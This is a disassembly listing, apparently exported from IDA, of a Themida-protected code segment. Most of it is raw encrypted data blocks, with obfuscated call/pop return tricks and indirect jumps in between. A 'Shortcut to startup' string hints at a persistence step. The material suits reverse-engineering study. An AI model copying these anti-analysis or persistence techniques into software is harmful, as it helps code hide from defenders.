dd 12h, 0DE9h, 4CF16F00h, 0E2F58A48h, 367380EEh, 85C74ADEh
dd 60B1009h, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_59088F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59088F proc near ; CODE XREF: Themida_:00590887p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_59088F endp
; ---------------------------------------------------------------------------
sar dl, 1
xor dl, [ecx+5Bh]
pop eax
cmp edi, edi
mov ch, 31h
sbb cl, [ebx]
push es
call dword ptr [ebp+60B0AC5h]
jz loc_5908BE
add [ebp+60B0051h], edi
loc_5908BE: ; CODE XREF: Themida_:005908B2j
jmp loc_5908CC
; ---------------------------------------------------------------------------
mov ds:679504D0h, al
cdq
or bl, ch
dec ecx
loc_5908CC: ; CODE XREF: Themida_:loc_5908BEj
push 0
call dword ptr [ebp+60B32DDh]
mov eax, eax
jmp short loc_590935
; ---------------------------------------------------------------------------
dd 9CD20DADh, 0CE196560h, 0E8480A62h, 93537775h, 1388F3C4h
dd 0E5AA5C95h, 0D0CC078Ch, 4AF0E38Eh, 473C3416h, 17A82285h
dd 94C80DF3h, 0D88D2005h, 59B6B75Ah, 0FF170D2h, 8723D017h
dd 0CEEAE65Bh, 0DD43CBEDh, 0E6E444C8h, 9C02C26Dh, 2A1BE2B0h
dd 950265FBh, 0BECEBD15h, 5C09E9E7h
db 0DEh
; ---------------------------------------------------------------------------
loc_590935: ; CODE XREF: Themida_:005908D6j
jmp short loc_5909A3
; ---------------------------------------------------------------------------
aShortcutToStar db 'Shortcut to startup',0
align 4
dd 13h dup(0)
dd 6C000000h, 110DADAh
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5909A3: ; CODE XREF: Themida_:loc_590935j
jmp loc_591A1B
; ---------------------------------------------------------------------------
push 6104AA4h
jmp loc_5503D9
; ---------------------------------------------------------------------------
push 6104BBBh
jmp loc_5503D9
; ---------------------------------------------------------------------------
push 6104DA3h
jmp loc_5503D9
; ---------------------------------------------------------------------------
push 6104DE5h
jmp loc_5503D9
; ---------------------------------------------------------------------------
push 6104EE1h
jmp loc_5503D9
; ---------------------------------------------------------------------------
push 6104F6Ch
jmp loc_5503D9
; ---------------------------------------------------------------------------
push 61053E6h
jmp loc_5503D9
; ---------------------------------------------------------------------------
push 61056A1h
jmp loc_5503D9
; ---------------------------------------------------------------------------
push 61057ADh
jmp loc_5503D9
; ---------------------------------------------------------------------------
dw 95EAh
dd 50AB4E39h, 0F6E8976h, 0C92DC8B7h, 87E702CDh, 0A24F400Fh
dd 0AF1876F6h, 0EC5B33B4h, 2897EF09h, 68D7AFCDh, 0BD429583h
dd 0DA7BADA5h, 7351A0D7h, 9D5D1BE0h, 3C03875h, 826592ECh
dd 9AF4756Ch, 344B8870h, 8B4CFE5Ah, 0AEAE1975h, 0E88EDB98h
dd 5D86E881h, 759D89D0h, 90BF1BE7h, 7BFCC41Ah, 0D4598A04h
dd 3F759D89h, 9D896734h, 8E8C8C75h, 113B93D5h, 0B7914D29h
dd 8A8558ACh, 0E44F4D4Fh, 6F928417h, 660DC3Ch, 2F0412C0h
dd 0D02E2810h, 23ED1AF6h, 7EFA7Dh, 0EFDB6CF7h, 7FF56F92h
dd 57CE358Ch, 3351BC0Dh, 66000000h, 0A19F637Bh, 8A7436B6h
dd 5E89E74Fh, 6F9232D1h, 33ED1AE6h, 418A5DCFh, 6B6F9234h
dd 68D32695h, 0ACBC0E17h, 4B337A6h, 0B8473E90h, 0B24Fh
dd 9B516800h, 51D3F708h, 2CF162EFh, 4B759D81h, 9EC1BF7h
dd 0EE719BF3h, 411A308Eh, 26B9532Bh, 0F601CEC8h, 759D7D70h
dd 0E7502E4Ch, 0C112EE0Ch, 759D7C3Ch, 0E10BE75Bh, 8BE54D91h
dd 8A91C458h, 0FE49B14Fh, 0AA24459Eh, 69D1159Dh, 7F69240Fh
dd 0EA564984h, 5B334B8Ch, 95F109ECh, 59F5105Fh, 8845E7E4h
dd 0E08h, 14E3DB10h, 4F3896D1h, 8E795594h, 0C8B70F6Bh
dd 6F1CD2Dh, 0BC3CE809h, 79F275C2h, 35B7B21Dh, 0F50BEE59h
dd 5BC52E99h, 0ADA70388h, 6699107Bh, 0ED5A34B4h, 0D9A6B1EFh
dd 0FE759D5Ch, 5CCA5780h, 11E9759Dh, 91EF8AB5h, 7B534A35h
dd 43A19F63h, 0FE6C6A80h, 0EA62F502h, 0E74F8A73h, 0C33A3D1Bh
dd 4EF921CBh, 33A02982h, 0CACA6F92h, 6996F009h, 7BFC2893h
dd 0B56587FFh, 17BC278Ah, 0CD6FBC0Eh, 8000000h, 7E5836B4h
dd 0EFFA02E8h, 30DF8126h, 2BA3DB9Ch, 90EE0ACDh, 0C402A567h
dd 0F8759E1Ch, 0B8BB0482h, 901DC642h, 0A7759E1Bh, 454DFF5Bh
dd 0E97F59A1h, 7CFD66E3h, 3E30E802h, 3EC944B2h, 0FCF9955Eh
dd 1CFC4F8Ah, 0C9C52122h, 76F1CF3Eh, 8D6D9FF7h, 691162BBh
dd 0CA751690h, 0DA34FEE0h, 84A88909h, 4AA49449h, 0E6116D89h
dd 0B10D6DE6h, 6FE8C6C6h, 0E0ADB610h, 0C36984C8h, 5D597842h
dd 6FA004Dh, 26D1ADCDh, 91532B43h, 0E459B3E0h, 0F1B89537h
dd 0F00000Ch, 0C82B94F2h, 8366D1ADh, 42A5126Ch, 4DFA826h
dd 301DEAE4h, 0FBD32BFFh, 3690E90Ch, 724CAE49h, 0B20C6285h
dd 0E7702CC5h, 7BADA81Ah, 0B40D7039h, 0AED5A34h, 362D9AF4h
dd 6A3236B4h, 0C3489BC7h, 0D0759D69h, 0EB72E668h, 9764CF29h
dd 0BC759D86h, 0F14AE05Ch, 7EB4037Bh, 687EE868h, 24135D6Bh
dd 49C56E48h, 4C4F8A77h, 44955ECCh, 6E6F9238h, 65CE2396h
dd 51BC0E13h, 0D17E5896h, 1164h, 41CE7100h, 0CE000009h
dd 5CBA4790h, 61D9759Dh, 9651EFD6h, 6ED27856h, 2D15C9E1h
dd 9DF970F3h, 3896D46Fh, 0C5722E12h, 588BE9C7h, 759D5CD3h
dd 64EF18E0h, 4F8A73F4h, 0E4C80BD9h, 34EF7D93h, 0BCCB258h
dd 0EE719BF3h, 0AB54308Eh, 0FAD4B2C8h, 6587FF79h, 589B8AB5h
dd 0D886A422h, 3175A12h, 96A15FB0h, 0B60F20C3h, 8477E9E6h
dd 6D45CA00h, 0C06A649Bh, 2237D618h, 48A641CEh, 0C2DA104Eh
dd 0E9E5063Bh, 0B2499F43h, 8B854B3Bh, 836010DDh, 0FE79E817h
dd 2F280680h, 864AF5D1h, 4E279D2Dh, 2C9F9508h, 18E7DF1Dh
dd 0C9279FDDh, 0B0332B03h, 0DE69B416h, 718B4C32h, 0CB1FEA15h
dd 0AF084DD6h, 49A7C209h, 967824Dh, 5590538Dh, 0E06FD379h
dd 0DF82642Ch, 0B00B219Dh, 4CAC5E38h, 9DA3490h, 0E23AF5D9h
dd 88B74C4h, 0A02BB3AEh, 76F64D49h, 520EF218h, 0CCDFE374h
dd 61FADC2Fh, 0F32D8905h, 521D4D7Dh, 0E900E4D0h, 70631EDh
dd 26DD7ADCh, 52A8AB1Eh, 0FFE7CB74h, 9BE1AEB9h, 0AF61E26h
dd 4BE770AEh, 4EF813B5h, 75E94F2h, 856DD414h, 555DEF18h
dd 0F94FA991h, 66825100h, 0C81EC268h, 7D8AE2F3h, 85BD41Fh
dd 9240F20Dh, 0FB13BB4Ah, 0F02E8AEBh, 329DF977h, 7DDB937h
dd 3BD20E5Ch, 93C19B3h, 1700000Bh, 0D013FCDAh, 0AB4E3995h
dd 6A8D7A54h, 2CC7B00Eh, 805F2CCh, 0C3BB33E7h, 1E78F174h
dd 5A34B6B1h, 9AF40AEDh, 8F58C42Dh, 7BADAA02h, 0B4659811h
dd 0C6C03F36h, 36BBE86Ah, 0B852D841h, 0AC75Dh, 0A21C5100h
dd 0FFD712D5h, 3896D510h, 7650944Fh, 0B00E6E89h, 7D29C6C7h
dd 333681FDh, 0F073DCBAh, 0B4AF1876h, 7AEF5836h, 0AA44C91Ah
dd 5E537BADh, 5836B427h, 0F40BCCB2h, 7F88709Ah, 5F8884E4h
dd 759D5CD2h, 43BD19E1h, 5D2DF265h, 0F64A759Dh, 79FADA49h
dd 0B56587FFh, 5D03885Bh, 2810759Dh, 0A79A241Fh, 1E15913Fh
dd 5FC528C2h, 8E5285E3h, 0AB4F8B37h, 5298F857h, 2B83F35Ah
dd 5A2DDAF2h, 844D3B16h, 2F4E11D5h, 0E945B557h, 5796518Fh
dd 0A905D07Fh, 7087C232h, 0FB7E75F7h, 0B2052783h, 71A9433Bh
dd 4AB66A95h, 240ED0A0h, 0F6BECCAh, 44FD88B7h, 3B81BB75h
dd 488BE9C7h, 5E9F5432h, 0E916CA60h, 0B896F00Eh, 41565CB2h
dd 4CFBAC82h, 464FFDDh, 0A20115E0h, 0DE963BAh, 0E7096702h
dd 135AD989h, 3896D52Fh, 0F1722E12h, 33EF1D79h, 52FA9D57h
dd 7B11AC22h, 9CB9Ah, 0BE185500h, 0FBD316D1h, 3492E90Ch
dd 724CA84Bh, 8C0A6285h, 7125CAC3h, 37329DF9h, 0F46FD8B6h
dd 48AB1472h, 6EB5432h, 0AB40CD16h, 5A577BADh, 5836B423h
dd 0F7CF29B2h, 5CD0FD08h, 0CD11759Dh, 0AFC80B65h, 3AC535D7h
dd 0D51E7C5Ah, 759D5D48h, 39C6116Fh, 5E759D5Dh, 6EF906E2h
dd 4F8D152Ch, 64FFD921h, 0C13F8806h, 9D03CE0Bh, 0E413DA72h
dd 0B593EB01h, 0B05F37B2h, 0AB235B1Ch, 0C2BC3E81h, 52147700h
dd 11EC9EDEh, 940h, 5C2BA3D8h, 97605E99h, 0D6A11D5Ch, 10FFD713h
dd 4E3995D5h, 84E4B041h, 41BABD0Ah, 0FD7FFA45h, 0BD333681h
dd 83FD76C1h, 0ADABCB50h, 0BEA1E87Bh, 0B25836B4h, 51FBD329h
dd 52EFDA52h, 0DAD5A21Ch, 0B602ED71h, 5CF32h, 637BC300h
dd 96180F8h, 1B75D18Dh, 8D15CEC8h, 17FC34Fh, 0BBACA8C6h
dd 6F8D14F6h, 2E6D4129h, 4FCDA096h, 0D3795594h, 68D7B36Fh
dd 0BA509E42h, 18943331h, 0EFD73ECh, 7FF350BBh, 56D335h
dd 7BE40000h, 73FDF365h, 188A619Eh, 725A1DBh, 23017FDBh
dd 9E1F6B30h, 0FE835475h, 15759E1Fh, 1C2B1725h, 1FE6ABBCh
dd 0D0D759Eh, 0FD87541Fh, 13E95526h, 88EA51A8h, 19BDD669h
dd 43000000h, 9FDDD08Dh, 0E817B25Eh, 2A0CEF1h, 78CE0000h
dd 0B48274F5h, 2D94A3BDh, 0A19F637Bh, 5D0B9043h, 0EB1C759Dh
dd 0D210F00Eh, 668255E7h, 0A21EC268h, 922C3795h, 8F4F8DE8h
dd 569255B3h, 0AA3DCF78h, 6F8DE922h, 1E705B1Dh, 0E4E205C8h
dd 0AB052E08h, 96497D9Fh, 0E21ADDAAh, 7DFD46E4h, 0B9BFEB01h
dd 0D511D252h, 60EF53F9h, 9E696585h, 0AAC3225Bh, 9EF885AEh
dd 231F697Dh, 0FE41EB47h, 8A04667Dh, 3FBB3C2Eh, 0D812A547h
dd 718B4CFEh, 8B7EF615h, 48B3B599h, 0E9E51BDCh, 27CF843h
dd 9F5430E8h, 1BC76561h, 96F009ECh, 423CBFB8h, 0B346B5h
dd 0C6697D9Fh, 9A5D2AA4h, 83C06A64h, 1BE07351h, 38759D5Dh
dd 0DBDFD2AAh, 0EEA1A3Bh, 0CB37A901h, 5935B6C9h, 482E47Fh
dd 0E0D3AE6h, 0FAD4B2CBh, 79860079h, 8141443Fh, 79C26866h
dd 3F618B03h, 35B7D239h, 0DD03FD59h, 0F3309BEEh, 4DF3B601h
dd 84000004h, 0B05A34B4h, 6D02F4Fh, 785696B3h, 6A37201Eh
dd 0BD759D5Ch, 0CC40903Bh, 81798335h, 0C6C8776h, 0DC5A2730h
dd 2540759Dh
dd 0BD5F83A9h, 0A8A3E15Dh, 3A3D774Fh, 4E48A3C2h, 87E77892h
dd 0DBB3340Fh, 1EED4331h, 9B6EC064h, 41926E8Eh, 759DDBBCh
dd 2C8B67DBh, 51FBD329h, 9DDD4E9Eh, 0E5E11A75h, 1C7AFC47h
dd 55A4BAEEh, 0CE3DBB53h, 0F6413DB3h, 0E2AFB896h, 0C8759DDBh
dd 552BD1ADh, 9DDBFD82h, 4A261A75h, 0FA23E584h, 63EC91F5h
dd 0ED0F6680h, 87E07B91h, 5A90530Fh, 0B612CE7Ch, 0CE2D2694h
dd 7E6A7EF0h, 0BD51C46Bh, 3577C792h, 0B0A6759Eh, 42BE3849h
dd 0C56E6881h, 759E3438h, 0B807E35Fh, 9E2794ADh, 3C12BF75h
dd 5828A501h, 0FE43AFFCh, 0E1E4B601h, 0E8FFFFFEh, 98B20C6Fh
dd 0B42097A0h, 74EF5836h, 44C91AF6h, 53759D5Dh, 561933EFh
dd 759D5E06h, 0D3F97D2h, 0B456304Ah, 0E7A168CEh, 0F1AE147h
dd 7B7AF2F1h, 4D298501h, 0EA4C8282h, 0E61EF7CDh, 5D9D58E7h
dd 0CB290761h, 9D7F9318h, 8B58A075h, 759D8006h, 53F9D514h
dd 62ED6DEFh, 1E2105AEh, 0EB618512h, 6D62C920h, 67C58676h
dd 0D2000000h, 0A19F637Bh, 8D151CB6h, 553014Fh, 0E922D6BFh
dd 91CF7DD9h, 75A2665Bh, 30CA179h, 8D47AC70h, 85748C6Fh
dd 12F4C72Ch, 1579CFBCh, 0FC71A20Bh, 292E1720h, 2E000000h
dd 9DFBD315h, 8D2DC54Ah, 0E16ED26Fh, 5327A4FAh, 8B72759Dh
dd 0FFFFFD80h, 10CEACh, 78CE0000h, 4A307AA3h, 0AB123D5Ah
dd 2A3CEh, 9B51D700h, 0A1FAEFF1h, 8C11C2B9h, 0AB759E58h
dd 9975FB57h, 3C78065Dh, 0E705E06Fh, 0FFBBB1EFh, 25500C4Dh
dd 5604C877h, 0D37C5A9Dh, 619BDA10h, 30ECEA02h, 0FD4A261Ah
dd 0EFC931B5h, 8ABB3044h, 725154Fh, 92BB1BACh, 4CBFB56Fh
dd 0D8C8EF5h, 2F4D86BCh, 0BA45B557h, 484Dh, 74F07300h
dd 0FF08F01Ah, 9F637B98h, 0F26543A1h, 759D5D2Dh, 0BE49F64Ah
dd 4F8A743Eh, 7F5DCF33h, 0E70581E4h, 0F0790C3Bh, 9A6F9233h
dd 390F7742h, 0AFFB9AECh, 6A956D5h, 0BC0ECF9Dh, 0A20Eh
dd 0B3350E00h, 3EC931DBh, 5836B447h, 0F5D129B2h, 201C589Bh
dd 9D5C6A37h, 0D5B18975h, 0EF08CB37h, 13A46897h, 2BF063DDh
dd 48759D5Dh, 88F614F0h, 0A956304Fh, 69D6B0CEh, 9D59589Eh
dd 0B8165475h, 5803DBCFh, 568AA01Eh, 454B9CFAh, 504F8F88h
dd 97508EE8h, 2ACD7A54h, 0E80BF4D2h, 0AD3C3690h, 0DCDE4EEDh
dd 4C6EF2Eh, 1D520000h, 0D813D6A1h, 97D611FEh, 5195503Fh
dd 0F6F8A75h, 2AC7C8B7h, 3780FE7Eh, 74C3BB3Ch, 0B01F77F1h
dd 0F05F37B5h, 45CA1D7Bh, 527BADB0h, 34B4385Fh, 0F40AED5Ah
dd 0B4362D9Ah, 7E5836h, 9D5D4AD7h, 66916975h, 0F873F4AAh
dd 78F6719Eh, 0C427201Eh, 914D49ADh, 2BB3F766h, 67EE9C7h
dd 274F8A7Dh, 91ED0EC9h, 923BBD42h, 0E066DA6Fh, 0ADED46D0h
dd 0DAF58D2h, 33D7A48Fh, 1CFC6F92h, 96218AA0h, 906F9235h
dd 7DF3198h, 0CFAB2344h, 540E4691h, 0FF3497Fh, 98D716D1h
dd 6785615Dh, 959D8CBBh, 518FE951h, 0CB745296h, 76CAFE38h
dd 8665F343h, 1D9556Bh, 5C21326Ch, 7B637668h, 0ACD2B87h
dd 0D92C9BF3h, 63766856h, 42BC1A5Ch, 0E26D6981h, 638A73h
dd 0BCB20000h, 0B816FC09h, 5940CF9Dh, 9D5E13A4h, 17DD0E75h
dd 3B013339h, 0A7FA001Ah, 2F4EA998h, 0CC7B557h, 916493EBh
dd 759E200Ch, 4DFFD712h, 0FA106E8Ah, 0BD675280h, 1B26954Bh
dd 0DA1DEAE4h, 0A30426A0h, 759E211Bh, 61A5140Ah, 4FD25CEBh
dd 5B9FBC81h, 0B511C963h, 5B8DEF8Ah, 0C65CAD8Fh, 3A8561AEh
dd 559651C3h, 0E06FD379h, 41EBE305h, 0C03A3D1Bh, 6FF424C6h
dd 759D5CA2h, 958749B1h, 81F62610h, 0A5C7A2ADh, 2E3C304Eh
dd 49603328h, 0C197B511h, 8599D97Ah, 0E05C3865h, 0E4D72D4Ah
dd 0DCAB2345h, 9E3A0209h, 0D6114F75h, 2D0D3F97h, 2E238F22h
dd 0DD13B602h, 0CBFBF8F4h, 239BDD60h, 454FB847h, 68FFFFFFh
dd 0BE3F36B4h, 7DF62AC0h, 0B06882FCh, 4FAD36D4h, 3CA28877h
dd 3B4F98F6h, 2E4F8A58h, 0B35935B5h, 15F1CD28h, 0F6615FB9h
dd 6F925729h, 0F771F24Eh, 828D6D9Fh, 57D465CEh, 9EFE6F92h
dd 0A0AF2745h, 3398F1D8h, 0F4BC0DF0h, 2Ah, 9F637B81h, 7436B6A1h
dd 89E74F8Ah, 9232D15Eh, 0ED1AE66Fh, 8A5DCF33h, 6F923441h
dd 0D326956Bh, 0BC0E1768h, 0F23Bh, 36B4DC00h, 0D129B258h
dd 1D589BF5h, 0FF8AECCBh, 0D4B0C8B9h, 933DCA36h, 2FBEB2C8h
dd 0D9842CFFh, 3285A703h, 0E275C2BCh, 759D9464h, 0DBA42258h
dd 46E4E218h, 279FDF18h, 0E64C9218h, 0A1675F88h, 4D864F8Ah
dd 26B9532Bh, 0F921CBC3h, 6B30231Dh, 886F927Fh, 65D587B0h
dd 753A2D0Bh, 826F927Fh, 0A2A291BEh, 0D12B4AA1h, 65F319F5h
dd 150E0CB1h, 0E710CC8Bh, 0F9D71BC3h, 85195E6Eh, 50A83349h
dd 27CFD76h, 6F8F48A6h, 2D4DA817h, 387B00D3h, 0A0986985h
dd 39109D46h, 0DB276985h, 5AF0E57Fh, 9D0FE459h, 20BA0h
dd 0FED81500h, 3B93D611h, 7452A94Ch, 0B20C688Bh, 0CCCA22C5h
dd 31E50A03h, 0F772DDB9h, 0B4AF1876h, 8EB5432h, 0C62B94F2h
dd 0B3008D56h, 9A177BADh, 5A34B463h, 1154EFEDh, 9CAB97B5h
dd 5C2BA3D9h, 48D51E7Ch, 6F759D5Dh, 7B7D6493h, 0DFDFF563h
dd 9B66ECFCh, 0B0AA2B55h, 33EF5698h, 0E3DB12D5h, 6BE37454h
dd 0BA4F8AB6h, 9D7B80B4h, 5790ECCEh, 0C874837Fh, 0C811DA70h
dd 9E6F928Dh, 71CA605Eh, 0B26E9CFAh, 0B25836B1h, 0AE58A301h
dd 51A813E9h, 0BC0DBDEAh, 0F0CE292Ah, 0EC59E65Ah, 0A6h
dd 3F36B489h, 4E48A1C0h, 24807892h, 413DBD06h, 58C200ABh
dd 80FE759Dh, 25D2B86Ch, 0F2088836h, 2E8A7694h, 4C878572h
dd 42BEAC2Ah, 0A8BC32B5h, 46B7B3AAh, 0A9433FBEh, 9DF970F3h
dd 5CA63872h, 32C1F162h, 5CBC4F8Ah, 0C327BFF3h, 41C772E5h
dd 33A44984h, 0F22EDCBAh, 0BF3F3816h, 7DFD78C7h, 31D4C301h
dd 913BE45Ah, 0FFB4h, 0EAE41900h, 279FDA1Dh, 605E9D58h
dd 0BE185C97h, 0F8D616D1h, 25F13E0Fh, 0FB7EC9C5h, 0B8BB0482h
dd 7CF7403Eh, 323780FEh, 0B40C9142h, 662B7BADh, 5A34B47Fh
dd 9AF40AEDh, 36B4362Dh, 0D329B258h, 0C0260CFBh, 75CB1C7Ah
dd 604F8D15h, 0CB0C7298h, 0D91CD7AFh, 599752FDh, 6887DE1Ah
dd 0A01CFC6Eh, 1269EAC4h, 47239BD3h, 87C3F881h, 67903CE9h
dd 1E5F98F8h, 0DC6C3122h, 0B78B6F8Ch, 3EC931DBh, 18CB45BBh
dd 6F8CDC93h, 0F57E58A0h, 6F8CDD28h, 0F517F34Fh, 3A5A3972h
dd 7B4EE059h, 1B5190EEh, 1878C7A3h, 0C0BE393Ah, 0A06DF62Ah
dd 0B758C258h, 0C339BC4Bh, 5A9E21CBh, 0FEBE31Bh, 0CD245A1Dh
dd 0C63AD0AEh, 0FB7FC06Ah, 5949D601h, 926E58C2h, 0B4A21436h
dd 0F76D4345h, 8F076504h, 7B539651h, 6FDE69D1h, 9700DB11h
dd 0A10C20CBh, 219DD396h, 0ACA0Bh, 71F20000h, 8D6D9FF7h
dd 2C931B82h, 0AD5F37B4h, 50FAD42Ah, 0FB116D8Fh, 9D8F0760h
dd 624A2DAh, 0AB413DBDh, 50FAD410h, 0F416708Fh, 9C8E0863h
dd 0E3895319h, 1DBABF57h, 0EF815C4Bh, 231219F2h, 0FC3CC781h
dd 0FB01C6C6h, 4EB835Fh, 5C241C87h, 67968h, 24348900h
dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 50240C89h, 0C122D368h
dd 42055826h, 0C1626E40h, 0BD5504E0h, 94E6780Eh, 895DE831h
dd 0EC8158C6h, 4, 81242489h, 42404h, 83590000h, 348904ECh
dd 8418F24h, 50240C8Bh, 405E089h, 5000000h, 4, 5C240487h
dd 5024348Bh, 405E089h, 83000000h
dd 48704C0h, 0CAE95C24h, 10FFFBE9h, 0F1DBAE5h, 0A1F543E3h
db 9Bh, 0D1h, 4Ch
; ---------------------------------------------------------------------------
loc_591A1B: ; CODE XREF: Themida_:loc_5909A3j
mov eax, 61058D1h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
shl edx, 1
mov ecx, [esi-67h]
xchg eax, ebp
fidivr dword ptr [ebp-34h]
test al, 72h
push edx
sbb byte ptr [edi+7B042B8Dh], 0EAh
pop esi
aas
cli
inc eax
dec edi
mov esi, 667E1A28h
aad 7Bh
jge short loc_591AA6
retf 34CCh
; ---------------------------------------------------------------------------
dd 78E201BDh, 711C7222h, 5112AFF0h, 0F755A53h, 2B19683Ah
dd 3F712A8Dh, 39C89A5Ah, 33374D4Ah, 392B9F48h, 6016B9A8h
dd 554B2C1Dh, 5EF11565h, 5CDE3C74h, 5614E9FCh, 1E4974D9h
dd 10D87E5Ah, 0DD4797Eh, 0BA38F7Ch, 4BE07558h, 559E6120h
dd 1C977FE6h, 972BA91h, 5AD98D8Dh
; ---------------------------------------------------------------------------
adc [esi], al
loc_591AA6: ; CODE XREF: Themida_:00591A43j
push 0
push ebx
call sub_591AB1
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_591AB1 proc near ; CODE XREF: Themida_:00591AA9p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_591AB1 endp
; ---------------------------------------------------------------------------
db 61h, 85h, 5Ch
dd 9C89377Ah, 8F0F9B61h, 6, 19E99501h, 8D89060Bh, 60B174Dh
dd 11985C7h, 5F60060Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 0E47B01C3h, 46A905AFh
dd 0D381669Eh, 85C75411h, 60B1009h, 0
; ---------------------------------------------------------------------------
mov dx, bx
push dword ptr [ebp+60B1A49h]
push 0
push ebx
call sub_591B2C
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_591B2C proc near ; CODE XREF: Themida_:00591B24p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_591B2C endp
; ---------------------------------------------------------------------------
dd 38C6DAB8h, 1EB1B589h, 95FF060Bh, 60B0AC5h, 14E8h, 0FD4400h
dd 89993459h, 317867FEh, 5C7778CDh, 23C96C8Ch, 9D8B60CEh
dd 60B20F5h, 0B759589h, 5B61060Bh, 6AD8B0h, 32DD95FFh
dd 0C08B060Bh, 0EFD80DEBh, 5580008Eh, 99D49363h, 8DB05BE9h
dd 0B09819Dh, 39B806h, 85890000h, 60B0E7Dh, 0E8h, 0D055800h
dd 89000000h, 39E903h, 0
dd 0Dh dup(77E6h), 0E9FF77E6h, 0B0h, 0DA8C6660h, 0F04C2F6h
dd 0C85h, 1853B00h, 0F060B0Bh, 3684h, 15853B00h, 0F060B03h
dd 2A84h, 4D853B00h, 0F060B19h, 1E84h, 15853B00h, 0F060B29h
dd 1284h, 29BD8300h, 1060B13h, 5840Fh, 5FE90000h, 8B000000h
dd 3C5203D0h, 88BA8Bh, 4A8B0000h, 0FC98578h, 4984h, 0F8C28100h
dd 8B000000h, 0C8030C72h, 8B1C598Bh, 0D8031451h, 0C9850B8Bh
dd 10840Fh, 0CE3B0000h, 17820Fh, 0CF3B0000h, 0F830Fh, 0C3830000h
dd 850F4A04h, 0FFFFFFDCh, 0DE9h, 0D79D8D00h, 0B8060B4Dh
dd 5, 0C361E3FFh, 5E8D00Bh, 34000000h, 952AD556h, 665BD78Bh
dd 0C377F781h, 700EC381h, 9E90000h, 8A000000h, 3CAF2519h
dd 0CC67C2B0h, 34FFC933h, 5850F19h, 0BE000000h, 49042970h
dd 69F78158h, 8149E3EDh, 63341FF0h, 0F4F28051h, 0CAFCE881h
dd 0B5236238h, 60B2491h, 77DAE881h, 9D8944B7h, 60B0B39h
dd 0E90B0489h, 12h, 0C46CB9C5h, 0E737E83Ah, 0E34B3C98h
dd 0FA67209Fh, 8E85AFFh, 0C1000000h, 0AFC6F8Dh, 6629C9C2h
dd 5F1638BAh, 3104E983h, 0B2949BDh, 0B4F98106h, 0FFFFF90h
dd 1885h, 27E900h, 0C9900000h, 7FB769EFh, 40E49A0h, 23B6713Bh
dd 4ED442CDh, 8FCA81C0h, 0E95D8C75h, 0FFFFFF66h, 9DB09DAAh
dd 4FD2DECEh, 60EB06h, 17h dup(0)
dd 0E9000000h, 0B1Ch, 0B10E9h, 65086800h, 0F8E90610h, 68FFFB21h
dd 6106628h, 0FB21EEE9h, 669468FFh, 0E4E90610h, 8DFFFB21h
dd 74914279h, 22C31021h, 8C79FAD7h, 7B944F76h, 7EC51E21h
dd 0B18C9477h, 13C45A2h, 0D4E335D2h, 0B8959E0Fh, 129A56BBh
dd 0C5844076h, 37E60AF9h, 63D45EFh, 937A5EB2h, 0B99F4980h
dd 76E4D9DEh, 1D0440E4h, 0B78BC394h, 56B7B199h, 6E77C41h
dd 881AC0FDh, 941D6064h, 7593E7C3h, 0EDD82C9Dh, 566BB019h
dd 0DEE13BE2h, 0EC35E06Ah, 0C2D637D1h, 57DF69F3h, 0C3941D33h
dd 0A8A04EB4h, 0F50FB9C1h, 2E0246CAh, 0A9A0F35Ah, 9FE61725h
dd 0F2D6E137h, 7B465F0Eh, 1164E907h, 0BCCB3A20h, 2BC5398Dh
dd 0AEB5C727h, 0F09728BCh, 64E8BD83h, 7BBE84C0h, 0D3370B3Ah
dd 0BA879C09h, 9A54F2D6h, 362D1C6Bh, 0DE0C0F68h, 1BEFDA2Fh
dd 0CF670927h, 3A7BBEB7h, 3753DB65h, 0B83A7BBEh, 0A5A7A442h
dd 7BBE4501h, 9CF0CA3Ah, 0A5F32228h, 1BE226AAh, 0A4E320Dh
dd 292471DCh, 493DB1C3h, 0DE3A7BBEh, 6BA94AE4h, 6F8D5DEh
dd 33BD65DBh, 941DCFBBh, 0CC7A40C3h, 0F903A9F0h, 718B72C6h
dd 0A286FA4Eh, 24719C4Eh, 0B419FF29h, 0BBD58338h, 559A26F7h
dd 0CCD45BBh, 32374005h, 1D780CA0h, 8BCFC094h, 35845Dh
dd 0E9140000h, 0B7D35B90h, 38C0941Dh, 0DA40EEC2h, 93750A6Fh
dd 764B50BDh, 0CEA04E82h, 941D22A6h, 0FB5DA5C3h, 0D7DE47BDh
dd 0F17B04FAh, 2BC5F004h, 54C835h, 6F500000h, 0BD93750Ah
dd 941D5D29h, 494EBFC3h, 0B34C8074h, 890787A5h, 6D3EE8C3h
dd 2FE45DCEh, 50BE3506h, 609F09h, 4D23078Ah, 33BD47BDh
dd 941DCFBBh, 0CC7A40C3h, 0D11B3641h, 0AF3ADC24h, 0AAE1FD2Ch
dd 0C403428h, 33BD7CE2h, 941DCFBBh, 0CC7A40C3h, 0D6F22E4h
dd 46BA95E3h, 44D50A94h, 0D2D168E4h, 735762B5h, 0BFB001D5h
dd 45BDBD9Fh, 87A82897h, 0B8D1B539h, 6C563A61h, 36DE3CD3h
dd 1468DCE1h, 0C334930h, 52DC6EE2h, 613BAEDAh, 2FD9213Ah
dd 613B27A7h, 27A6F23Ah, 36173CEDh, 17A152Ch, 6FF30000h
dd 4DE10B08h, 0C3941D31h, 0A6224A86h, 27C3941Dh, 2D15E2DDh
dd 6F745C9h, 2924C2FFh, 8272E1DCh, 754850BDh, 0AAA34D81h
dd 0FFE6C59h, 0B76311F5h, 0F8376941h, 6DDC3084h, 665A2E15h
dd 65DB52C8h, 93750A6Fh, 0CCD4CB4h, 32374005h, 11D4888Dh
dd 944DE99Dh, 0FB047EC0h, 0DB75CAFEh, 3E06h, 0A6FEE00h
